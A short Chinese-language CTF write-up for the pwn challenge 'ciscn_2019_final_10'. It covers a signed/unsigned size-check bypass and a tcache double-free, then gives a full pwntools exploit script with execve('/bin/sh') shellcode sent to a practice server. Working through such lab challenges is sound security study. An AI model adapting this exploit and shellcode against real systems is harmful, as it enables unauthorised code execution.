ciscn_2019_final_10
检查防护措施

IDA静态分析

我们需要让sub_DD4(v4) == 1

那么我们需要让a1的低16个bit为0,那么至少也得0x10000,参数a1是我们输入的

但是这里给了限制不能大于255,所以我们首先要绕过这个限制,这里IDA分析出了点问题,看一下我7.5版本的IDA的分析结果

v1定义的无符号型,但是到了下面判断的时候被转成的有符号型,那么我们输入0xf0000000即可绕过

后面如果chunk1 里的内容是’The cake is a lie!’就可以执行shellcode
利用思路
利用tcache double free改fd去把目标chunk申请过来,修改内容为The cake is a lie!,再写入shellcode,写入shellcode还需绕过sub_EEF()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
context.log_level = "debug" context.arch="amd64" io = remote("node4.buuoj.cn",26191)
elf = ELF('./ciscn_final_10') libc = ELF('./libc-2.27.so') io.sendlineafter('>','a')
io.sendlineafter('>',str(0xf0000000))
def add(size,cont): io.sendlineafter('>',str(0x1)) io.sendlineafter('>',str(size)) io.sendafter('>',str(cont))
def free(): io.sendlineafter('>',str(0x2))
add(0x30,'a') free() free() add(0x30,'\x90') add(0x30,'a') add(0x30,'The cake is a lie!\x00') io.sendlineafter('>','3')
shellcode = b'\x00\x00\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05' io.recvuntil('>') io.sendline(shellcode) io.interactive()
|
